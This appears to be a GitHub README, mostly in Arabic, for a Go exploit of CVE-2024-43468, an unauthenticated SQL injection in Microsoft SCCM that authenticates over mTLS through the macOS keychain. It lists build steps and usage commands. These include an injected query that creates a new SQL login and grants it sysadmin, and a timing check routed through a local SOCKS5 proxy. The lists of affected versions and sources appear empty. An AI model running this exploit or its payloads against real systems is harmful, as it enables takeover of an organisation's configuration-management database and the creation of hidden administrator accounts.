nikallass/cve-2024-43468_mtls_goCVE-2024-43468 إكسبلويت حقن SQL في SCCM (شهادة عميل mTLS غير قابلة للاستخراج من إصدار سلسلة مفاتيح MacOS)
تنفيذ بلغة Go لاستغلال CVE-2024-43468 الذي يستخدم سلسلة مفاتيح macOS لمصادقة mTLS (بدون الحاجة لتصدير المفاتيح من السلسلة).
بالإضافة إلى ذلك:
مبني على:
يستغل ثغرات حقن SQL غير المصادق عليها في Microsoft Configuration Manager (ConfigMgr / SCCM) والتي تسمح لمهاجم لديه وصول شبكي إلى نقطة الإدارة بتنفيذ استعلامات SQL عشوائية على قاعدة بيانات الموقع.
الإصدارات القابلة للاستغلال:
# Clone repository
git clone https://github.com/nikallass/CVE-2024-43468_mTLS_go
cd CVE-2024-43468_mTLS_go
# Install dependencies
go get github.com/google/uuid
go get golang.org/x/net/proxy
# Build
go build -o sccm
# Show help
./sccm -h
# Basic usage (creating new admin)
./sccm -t https://sccm-mp.local \
-sql "create login user123 with password = 'Password123'; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin'" \
-cn "CertificateCommonName"
# With custom proxy (check with sleep 5)
./sccm -t https://sccm-mp.local \
-sql "WAITFOR DELAY '0:0:5'" \
-cn "CertificateCommonName" \
-proxy "127.0.0.1:9050"
-t : رابط الهدف (مطلوب)-sql : استعلام SQL المراد تنفيذه (مطلوب)-cn : الاسم الشائع للشهادة في سلسلة مفاتيح macOS (مطلوب)-proxy : عنوان وكيل SOCKS5 (الافتراضي: فارغ)